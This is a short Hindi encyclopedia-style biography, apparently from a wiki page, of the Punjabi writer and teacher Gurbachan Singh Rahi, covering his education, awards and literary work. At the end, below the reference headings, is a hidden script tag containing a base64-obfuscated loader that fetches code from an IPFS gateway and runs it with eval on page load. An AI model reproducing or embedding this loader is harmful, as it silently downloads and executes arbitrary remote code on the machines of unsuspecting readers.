गुरबचन सिंह राही (अंग्रेज़ी: Gurbachan Singh Rahi) पंजाबी भाषी साहित्यकार हैं। पटियाला में एम.ए. पंजाबी से गोल्ड मेडलिस्ट रहे गुरबचन सिंह राही ने अनुवाद, खोज तथा अध्यापन के क्षेत्र में महत्त्वपूर्ण भूमिका निभाई है।
- पंजाबी साहित्यकार डॉ. गुरबचन सिंह राही को पंजाब कला परिषद से सम्मानित किया जा चुका है।
- पंजाबी साहित्य सभा के प्रमुख सेवादार और साहित्य अकादमी अवार्ड विजेता डॉ. दर्शन सिंह के अनुसार, डॉ. गुरबचन सिंह राही की पंजाबी मातृभाषा को ऐतिहासिक देन है और उनकी तरफ से पंजाबी साहित्य और पंजाबी अध्यापन के क्षेत्र में दिए गए योगदान से नई पीढ़ी को प्रेरणा मिलती है।
- पंजाबी यूनिवर्सिटी, पटियाला में एम.ए. पंजाबी में प्रथम स्थान पर रहने के बाद गोल्ड मेडलिस्ट हासिल डॉक्टर गुरबचन सिंह राही ने अनुवाद, खोज, अध्यापन क्षेत्र में अहम भूमिका निभाई है।
- उन्होंने विद्यार्थियों को मातृभाषा में पीसीएस की शिक्षा दी। वहीं पंजाबी कवि, आलोचना, बाल साहित्य, संपादन, नाटक, अनुवाद और सहयोगी लेखक के रूप में प्रशंसनीय काम किया है।
- जालंधर दूरदर्शन से चलाए प्रोग्राम 'पाठशाला' का संचालन करने के साथ-साथ उन्होंने पंजाबी के बहुपक्षीय विकास के लिए निरंतर कार्य किया है।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>